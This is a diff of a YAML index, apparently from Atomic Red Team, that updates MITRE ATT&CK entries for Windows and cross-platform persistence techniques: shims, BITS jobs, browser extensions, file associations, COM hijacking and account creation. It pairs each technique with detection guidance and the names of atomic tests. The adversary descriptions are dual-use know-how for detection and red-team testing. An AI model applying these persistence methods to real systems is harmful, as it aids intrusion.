Black Hat 2015 App Shim - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Loaded DLLs - System calls - Windows Registry - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: |- + There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): + + * Shim-Process-Scanner - checks memory of every running process for any Shim flags + * Shim-Detector-Lite - detects installation of custom shim databases + * Shim-Guard - monitors registry for any shim installations + * ShimScanner - forensic tool to find active shims in memory + * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) + + Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. x_mitre_permissions_required: - Administrator - id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1138 atomic_tests: - name: Application Shim Installation @@ -507,74 +567,55 @@ persistence: ' T1197: technique: + id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: BITS Jobs description: |- - Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. - - The interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin - - Adversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) - - BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016) - - Detection: BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) - - Monitor usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) - - Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) - - Platforms: Windows + Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. - Data Sources: API monitoring, Packet capture, Windows event logs + The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITS)Admin - Defense Bypassed: Firewall, Host forensic analysis + Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) - Permissions Required: User, Administrator, SYSTEM - - Contributors: Ricardo Dias, Red Canary - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence + BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1197 + - external_id: T1197 + url: https://attack.mitre.org/techniques/T1197 source_name: mitre-attack - external_id: T1197 - - description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November - 22, 2017. - source_name: Microsoft COM - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - - description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved + - url: https://technet.microsoft.com/library/dd939934.aspx + description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January + 12, 2018. + source_name: Microsoft Issues with BITS July 2011 + - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx + description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018. source_name: Microsoft BITS - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx - - description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers + - url: https://www.secureworks.com/blog/malware-lingers-with-bits + description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018. source_name: CTU BITS Malware June 2016 - url: https://www.secureworks.com/blog/malware-lingers-with-bits - - description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background + - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ + description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018. source_name: Mondok Windows PiggyBack BITS May 2007 - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ - - description: Florio, E. (2007, May 9). Malware Update with Windows Update. + - url: https://www.symantec.com/connect/blogs/malware-update-windows-update + description: Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018. source_name: Symantec BITS May 2007 - url: https://www.symantec.com/connect/blogs/malware-update-windows-update - - description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. + - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx + description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November + 22, 2017. + source_name: Microsoft COM + - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ + description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018. source_name: PaloAlto UBoatRAT Nov 2017 - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ - - description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January - 12, 2018. - source_name: Microsoft Issues with BITS July 2011 - url: https://technet.microsoft.com/library/dd939934.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Ricardo Dias + - Red Canary x_mitre_data_sources: - API monitoring - Packet capture @@ -582,16 +623,26 @@ persistence: x_mitre_defense_bypassed: - Firewall - Host forensic analysis + x_mitre_detection: |- + BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) + + Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) + + Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) x_mitre_permissions_required: - User - Administrator - SYSTEM - x_mitre_contributors: - - Ricardo Dias - - Red Canary - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern - id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1197 atomic_tests: - name: Download & Execute @@ -620,75 +671,59 @@ persistence: ' T1176: technique: + id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Browser Extensions description: |- Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). - - Detection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. - - Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. - - Platforms: Linux, macOS, Windows - - Data Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions - - Permissions Required: User - - Contributors: Justin Warner, ICEBRG - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1176 + - external_id: T1176 + url: https://attack.mitre.org/techniques/T1176 source_name: mitre-attack - external_id: T1176 - - description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January - 11, 2018. - source_name: Wikipedia Browser Extension - url: https://en.wikipedia.org/wiki/Browser%20extension - - description: Chrome. (n.d.). What are Extensions?. Retrieved November 16, + - url: https://developer.chrome.com/extensions + description: Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017. source_name: Chrome Extensions Definition - url: https://developer.chrome.com/extensions - - description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three + - url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf + description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017. source_name: Malicious Chrome Extension Numbers - url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf - - description: Brinkmann, M. (2017, September 19). First Chrome extension with + - url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ + description: Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. source_name: Chrome Extension Crypto Miner - url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ - - description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. + - url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ + description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. source_name: Banker Google Chrome Extension Steals Creds - url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ - - description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension + - url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) + description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017. source_name: Catch All Chrome Extension - url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) - - description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware - campaign operating covertly since 2012. Retrieved November 16, 2017.' - source_name: Stantinko Botnet - url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ - - description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might + - url: https://kjaer.io/extension-malware/ + description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.' source_name: Chrome Extension C2 Malware - url: https://kjaer.io/extension-malware/ - - description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME + - url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ + description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware + campaign operating covertly since 2012. Retrieved November 16, 2017.' + source_name: Stantinko Botnet + - url: https://en.wikipedia.org/wiki/Browser_extension + description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January + 11, 2018. + source_name: Wikipedia Browser Extension + - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses + description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. source_name: ICEBRG Chrome Extensions - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Justin Warner, ICEBRG x_mitre_data_sources: - Network protocol analysis - Packet capture @@ -696,13 +731,22 @@ persistence: - Process use of network - Process monitoring - Browser extensions + x_mitre_detection: |- + Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. + + Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. x_mitre_permissions_required: - User - x_mitre_contributors: - - Justin Warner, ICEBRG - id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1176 atomic_tests: - name: Chrome (Developer Mode) @@ -757,67 +801,71 @@ persistence: 3. Then click 'Open' T1042: technique: + id: attack-pattern--68c96494-1a50-403e-8844-69a6af278c68 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Change Default File Association - description: "When a file is opened, the default program used to open the file - (also called the file association or handler) is checked. File association - selections are stored in the Windows Registry and can be edited by users, - administrators, or programs that have Registry access. (Citation: Microsoft - Change Default Programs) (Citation: Microsoft File Handlers) Applications - can modify the file association for a given file extension to call an arbitrary - program when a file with the given extension is opened.\n\nSystem file associations - are listed under HKEY_CLASSES_ROOT\\.[extension], for example - HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that - extension located at HKEY_CLASSES_ROOT\\[handler]. The various - commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. - For example:\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe - values of the keys listed are commands that are executed when the handler - opens the file extension. Adversaries can modify these values to execute arbitrary - commands.\n\nDetection: Collect and analyze changes to Registry keys that - associate file extensions to default applications for execution and correlate - with unknown process launch activity or unusual file types for that process. - \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts - and override associations configured under [HKEY_CLASSES_ROOT]. - Changes to a user's preference will occur under this entry's subkeys.\n\nAlso - look for abnormal process call trees for execution of other commands that - could relate to Discovery actions or other techniques.\n\nPlatforms: Windows\n\nData - Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions - Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis - Smith, Tripwire" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence + description: |- + When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. + + System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example: + * HKEY_CLASSES_ROOT\txtfile\shell\open\command + * HKEY_CLASSES_ROOT\txtfile\shell\print\command + * HKEY_CLASSES_ROOT\txtfile\shell\printto\command + + The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1042 + - external_id: T1042 + url: https://attack.mitre.org/techniques/T1042 source_name: mitre-attack - external_id: T1042 - - description: Microsoft. (n.d.). Change which programs Windows 7 uses by default. - Retrieved July 26, 2016. - source_name: Microsoft Change Default Programs - url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs - - description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. + - external_id: CAPEC-556 + url: https://capec.mitre.org/data/definitions/556.html + source_name: capec + - url: http://msdn.microsoft.com/en-us/library/bb166549.aspx + description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014. source_name: Microsoft File Handlers - url: http://msdn.microsoft.com/en-us/library/bb166549.aspx + - url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs + description: Microsoft. (n.d.). Change which programs Windows 7 uses by default. + Retrieved July 26, 2016. + source_name: Microsoft Change Default Programs + - url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc + description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August + 7, 2018. + source_name: Microsoft Assoc Oct 2017 + - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd + description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August + 8, 2018. + source_name: TrendMicro TROJ-FAKEAV OCT 2012 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:42.222Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire x_mitre_data_sources: - Windows Registry - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: "Collect and analyze changes to Registry keys that associate + file extensions to default applications for execution and correlate with unknown + process launch activity or unusual file types for that process. \n\nUser file + association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts + and override associations configured under [HKEY_CLASSES_ROOT]. + Changes to a user's preference will occur under this entry's subkeys.\n\nAlso + look for abnormal process call trees for execution of other commands that + could relate to Discovery actions or other techniques." x_mitre_permissions_required: - User - Administrator - SYSTEM - x_mitre_contributors: - - Stefan Kanthak - - Travis Smith, Tripwire - id: attack-pattern--68c96494-1a50-403e-8844-69a6af278c68 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:42.222Z' identifier: T1042 atomic_tests: - name: Change Default File Association @@ -842,61 +890,74 @@ persistence: ' T1122: technique: + id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Component Object Model Hijacking - description: |- - The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. - - Detection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. - - Platforms: Windows - - Data Sources: Windows Registry, DLL monitoring, Loaded DLLs - - Defense Bypassed: Autoruns Analysis - - Permissions Required: User - - Contributors: ENDGAME - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence + description: 'The (Citation: Microsoft Component Object Model) (COM) is a system + within Windows to enable interaction between software components through the + operating system. (Citation: Microsoft Component Object Model) Adversaries + can use this system to insert malicious code that can be executed in place + of legitimate software through hijacking the COM references and relationships + as a means for persistence. Hijacking a COM object requires a change in the + Windows Registry to replace a reference to a legitimate system component which + may cause that component to not work when executed. When that system component + is executed through normal system operation the adversary''s code will be + executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to + hijack objects that are used frequently enough to maintain a consistent level + of persistence, but are unlikely to break noticeable functionality within + the system as to avoid system instability that could lead to detection.' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1122 + - external_id: T1122 + url: https://attack.mitre.org/techniques/T1122 source_name: mitre-attack - external_id: T1122 - - description: Microsoft. (n.d.). The Component Object Model. Retrieved August + - url: https://msdn.microsoft.com/library/ms694363.aspx + description: Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016. source_name: Microsoft Component Object Model - url: https://msdn.microsoft.com/library/ms694363.aspx - - description: 'G DATA. (2014, October). COM Object hijacking: the discreet + - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence + description: 'G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.' source_name: GDATA COM Hijacking - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - - description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting + - url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com + description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.' source_name: Endgame COM Hijacking - url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:33.979Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - ENDGAME x_mitre_data_sources: - Windows Registry - DLL monitoring - Loaded DLLs x_mitre_defense_bypassed: - Autoruns Analysis + x_mitre_detection: 'There are opportunities to detect COM hijacking by searching + for Registry references that have been replaced and through Registry operations + replacing know binary paths with unknown paths. Even though some third party + applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ + may be anomalous and should be investigated since user objects will be loaded + prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\. + (Citation: Endgame COM Hijacking) Registry entries for existing COM objects + may change infrequently. When an entry with a known good path and binary is + replaced or changed to an unusual value to point to an unknown binary in a + new location, then it may indicate suspicious behavior and should be investigated. + Likewise, if software DLL loads are collected and analyzed, any unusual DLL + load that can be correlated with a COM object Registry modification may indicate + COM hijacking has been performed.' x_mitre_permissions_required: - User - x_mitre_contributors: - - ENDGAME - id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:33.979Z' identifier: T1122 atomic_tests: - name: Component Object Model Hijacking @@ -913,48 +974,46 @@ persistence: reg import ..\src\COMHijackCleanup.reg T1136: technique: + id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Create Account description: |- Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. The net user commands can be used to create a local or domain account. - - Detection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. - - Platforms: Linux, macOS, Windows - - Data Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs - - Permissions Required: Administrator - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1136 + - external_id: T1136 + url: https://attack.mitre.org/techniques/T1136 source_name: mitre-attack - external_id: T1136 - - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account + - url: https://docs.microsoft.com/windows/device-security/auditing/event-4720 + description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.' source_name: Microsoft User Creation Event - url: https://docs.microsoft.com/windows/device-security/auditing/event-4720 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Process command-line parameters - Authentication logs - Windows event logs + x_mitre_detection: 'Collect data on account creation within a network. Event + ID 4720 is generated when a user account is created on a Windows system and + domain controller. (Citation: Microsoft User Creation Event) Perform regular + audits of domain and local system accounts to detect suspicious accounts that + may have been created by an adversary.' + x_mitre_platforms: + - Linux + - macOS + - Windows x_mitre_permissions_required: - Administrator - id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' 